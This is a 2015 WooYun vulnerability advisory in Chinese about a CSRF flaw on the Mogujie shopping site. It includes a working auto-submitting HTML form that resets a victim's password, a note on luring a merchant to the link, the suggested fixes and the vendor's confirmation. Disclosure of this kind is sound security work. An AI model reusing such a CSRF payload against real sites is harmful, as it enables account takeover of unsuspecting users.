当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114998

漏洞标题:蘑菇街CSRF漏洞存在重置任意用户密码风险

相关厂商:蘑菇街

漏洞作者: q601333824

提交时间:2015-05-20 09:39

修复时间:2015-07-06 18:00

公开时间:2015-07-06 18:00

漏洞类型:CSRF

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-20: 细节已通知厂商并且等待厂商处理中
2015-05-22: 厂商已经确认,细节仅向厂商公开
2015-06-01: 细节向核心白帽子及相关领域专家公开
2015-06-11: 细节向普通白帽子公开
2015-06-21: 细节向实习白帽子公开
2015-07-06: 细节向公众公开

简要描述:

蘑菇街CSRF漏洞存在重置任意用户密码风险

详细说明:


1.以前漏洞的提到过,在用户快速登录的时候,会提示用户设置密码,如果没有检查这个接口重复提交,就会出现重置密码,或者邮箱的漏洞
2.第一步,用第三方帐号,快速登录到这个页面

2.png


3.设置密码,抓包,这里什么防备都没有,然后弄成一个表单

<html>
<form id="csrf" name="csrf" action="http://www.mogujie.com/registermg/updatepassword" method="POST">
<input type="text" name="register_password" value="a456a456" />
<input type="text" name="register_respassword" value="a456a456" />
</form>
<script>
document.csrf.submit();
</script>
</body>
</html>



4.其中register_password和register_respassword代表,设置的密码的,和重复设置的密码

5.测试的效果的如下(这个接口设置密码,对已经设置密码的正常的用户也有效):

3.png


-----------------------------------------------------------------------------------------------
6.具体利用方式也闹补一下,就是和店家交谈的过程,给他连接让他访问

1.png



漏洞证明:

1.漏洞证明看上面
2.

3.png


修复方案:

1.检查接口的重复提交
2.或者加上token之类的验证
3.内容说的详细厂商好修复

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-05-22 17:59

厂商回复:

感谢,已经安排修复,谢谢!!

最新状态:

暂无